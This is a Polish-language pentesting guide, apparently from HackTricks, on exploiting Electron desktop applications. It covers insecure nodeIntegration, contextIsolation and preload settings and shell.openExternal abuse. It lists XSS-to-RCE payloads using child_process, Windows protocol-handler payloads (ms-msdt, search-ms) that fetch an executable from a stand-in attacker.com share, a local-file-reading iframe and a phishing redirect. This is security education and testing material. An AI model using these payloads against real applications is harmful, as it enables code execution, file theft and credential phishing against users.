hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps
2024-03-17 16:39:08 +00:00
..
electron-contextisolation-rce-via-electron-internal-code.md Translated to Polish 2024-02-11 01:46:25 +00:00
electron-contextisolation-rce-via-ipc.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:39:08 +00:00
electron-contextisolation-rce-via-preload-code.md Translated to Polish 2024-02-11 01:46:25 +00:00
README.md Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat 2024-03-17 16:39:08 +00:00

Aplikacje na Pulpit Electron

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

Electron łączy lokalny backend (z NodeJS) i frontend (Chromium), chociaż brakuje mu niektórych mechanizmów bezpieczeństwa nowoczesnych przeglądarek.

Zazwyczaj kod aplikacji electron znajduje się wewnątrz aplikacji .asar, aby uzyskać kod, należy go wyodrębnić:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

W źródłowym kodzie aplikacji Electron, wewnątrz packet.json, można znaleźć określony plik main.js, w którym ustawione są konfiguracje zabezpieczeń.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron ma 2 typy procesów:

  • Proces główny (ma pełny dostęp do NodeJS)
  • Proces renderera (powinien mieć ograniczony dostęp do NodeJS ze względów bezpieczeństwa)

Proces renderera będzie oknem przeglądarki ładowanym z pliku:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

Ustawienia procesu renderera mogą być skonfigurowane w głównym procesie w pliku main.js. Niektóre z konfiguracji będą zapobiegać zdalnemu wykonaniu kodu (RCE) lub innym podatnościom, jeśli ustawienia są poprawnie skonfigurowane.

Aplikacja Electron może uzyskać dostęp do urządzenia za pomocą interfejsów Node, chociaż można to skonfigurować, aby temu zapobiec:

  • nodeIntegration - domyślnie jest wyłączone. Jeśli jest włączone, umożliwia dostęp do funkcji Node z procesu renderera.
  • contextIsolation - domyślnie jest włączone. Jeśli jest wyłączone, procesy główny i renderera nie są izolowane.
  • preload - domyślnie jest puste.
  • sandbox - domyślnie jest wyłączone. Ograniczy działania, które NodeJS może wykonać.
  • Integracja Node w Workerach
  • nodeIntegrationInSubframes - domyślnie jest wyłączone.
  • Jeśli nodeIntegration jest włączone, umożliwi to korzystanie z API Node.js na stronach internetowych, które są ładowane w ramkach w aplikacji Electron.
  • Jeśli nodeIntegration jest wyłączone, to pliki preload będą ładowane w ramce

Przykład konfiguracji:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Kilka ładunków RCE z tutaj:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Przechwytywanie ruchu

Zmodyfikuj konfigurację start-main i dodaj użycie serwera proxy, na przykład:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Wstrzykiwanie lokalnego kodu w Electron

Jeśli możesz lokalnie wykonać aplikację Electron, istnieje możliwość wykonania arbitralnego kodu JavaScript. Sprawdź jak to zrobić:

{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %} macos-electron-applications-injection.md {% endcontent-ref %}

RCE: XSS + nodeIntegration

Jeśli nodeIntegration jest ustawione na on, JavaScript strony internetowej może łatwo korzystać z funkcji Node.js, wywołując require(). Na przykład, sposób na uruchomienie aplikacji kalkulatora w systemie Windows to:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

Skrypt wskazany w tej konfiguracji jest załadowany przed innymi skryptami w rendererze, więc ma nieograniczony dostęp do interfejsów API Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

W związku z tym skrypt może eksportować funkcje węzła do stron:

{% code title="preload.js" %}

typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};

{% endcode %}

{% code title="index.html" %}

<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

{% endcode %}

{% hint style="info" %} Jeśli contextIsolation jest włączone, to nie zadziała {% endhint %}

RCE: XSS + contextIsolation

contextIsolation wprowadza oddzielone konteksty między skryptami strony internetowej a wewnętrznym kodem JavaScript Electrona, dzięki czemu wykonanie JavaScript każdego kodu nie wpływa na siebie nawzajem. Jest to konieczna funkcja eliminująca możliwość RCE.

Jeśli konteksty nie są izolowane, atakujący może:

  1. Wykonać dowolny JavaScript w rendererze (XSS lub nawigacja do zewnętrznych stron)
  2. Nadpisać wbudowaną metodę, która jest używana w kodzie preload lub wewnętrznym kodzie Electrona na własną funkcję
  3. Wywołać użycie nadpisanej funkcji
  4. RCE?

Istnieją 2 miejsca, w których można nadpisać wbudowane metody: W kodzie preload lub w wewnętrznym kodzie Electrona:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %} electron-contextisolation-rce-via-preload-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %} electron-contextisolation-rce-via-electron-internal-code.md {% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %} electron-contextisolation-rce-via-ipc.md {% endcontent-ref %}

Ominięcie zdarzenia kliknięcia

Jeśli są nałożone ograniczenia podczas kliknięcia linku, możesz próbować je ominąć, klikając środkowym przyciskiem myszy zamiast zwykłego lewego przycisku.

window.addEventListener('click', (e) => {

RCE poprzez shell.openExternal

Aby uzyskać więcej informacji na temat tych przykładów, sprawdź https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 oraz https://benjamin-altpeter.de/shell-openexternal-dangers/

Podczas wdrażania aplikacji desktopowej Electron, zapewnienie poprawnych ustawień dla nodeIntegration i contextIsolation jest kluczowe. Ustalono, że zdalne wykonanie kodu (RCE) po stronie klienta ukierunkowane na skrypty preload lub kod natywny Electrona z procesu głównego jest efektywnie zapobiegane, gdy te ustawienia są wdrożone.

Po interakcji użytkownika z linkami lub otwarciu nowych okien, wyzwalane są określone słuchacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Te słuchacze są nadpisane przez aplikację desktopową, aby zaimplementować własną logikę biznesową. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji openInternally. Jeśli ta funkcja zwraca false, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję shell.openExternal.

Oto uproszczony pseudokod:

https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png

https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png

Najlepsze praktyki bezpieczeństwa w Electron JS zalecają unikanie akceptowania niezaufanej zawartości za pomocą funkcji openExternal, ponieważ może to prowadzić do RCE poprzez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Dla szczegółowych przykładów i dalszego wyjaśnienia na ten temat, można odwołać się do tego zasobu, który zawiera przykłady protokołów systemu Windows zdolnych do wykorzystania tej podatności.

Przykłady wykorzystania protokołów systemu Windows obejmują:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Odczytywanie plików wewnętrznych: XSS + contextIsolation

Wyłączenie contextIsolation umożliwia użycie tagów <webview>, podobnych do <iframe>, do odczytywania i eksfiltracji plików lokalnych. Przykład pokazuje, jak wykorzystać tę podatność do odczytania zawartości plików wewnętrznych:

Ponadto udostępniona jest inna metoda odczytywania pliku wewnętrznego, podkreślając krytyczną podatność na odczyt plików lokalnych w aplikacji desktopowej Electron. Polega to na wstrzyknięciu skryptu w celu wykorzystania aplikacji i eksfiltracji danych:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Stare Chromium

Jeśli chromium używany przez aplikację jest stary i istnieją na nim znane podatności, może być możliwe wykorzystanie go do uzyskania RCE poprzez XSS.
Przykład można zobaczyć w tym opisie: https://blog.electrovolt.io/posts/discord-rce/

XSS Phishing poprzez bypassowanie wewnętrznego URL regex

Załóżmy, że znalazłeś XSS, ale nie możesz wywołać RCE ani ukraść wewnętrznych plików, możesz spróbować go wykorzystać do ukradzenia poświadczeń poprzez phishing.

Po pierwsze, musisz wiedzieć, co się dzieje, gdy próbujesz otworzyć nowy URL, sprawdzając kod JS w interfejsie front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

Wywołanie openInternally zadecyduje, czy link zostanie otwarty w oknie pulpitu, jako link należący do platformy, czy czy zostanie otwarty w przeglądarce jako zewnętrzny zasób.

W przypadku gdy wyrażenie regularne używane przez funkcję jest podatne na obchodzenie (na przykład przez nieekranowanie kropek poddomen) atakujący mógłby wykorzystać XSS, aby otworzyć nowe okno, które znajdzie się w infrastrukturze atakującego, prosząc o poświadczenia od użytkownika:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Narzędzia

  • Electronegativity to narzędzie do identyfikowania błędnych konfiguracji i antywzorców bezpieczeństwa w aplikacjach opartych na Electron.
  • Electrolint to otwarte rozszerzenie dla VS Code do aplikacji Electron, które wykorzystuje Electronegativity.
  • nodejsscan do sprawdzania podatności na błędy w bibliotekach innych firm.
  • Electro.ng: Musisz go kupić

Laboratoria

Na https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s znajdziesz laboratorium do wykorzystania podatnych aplikacji Electron.

Niektóre polecenia, które pomogą Ci w laboratorium:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referencje

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: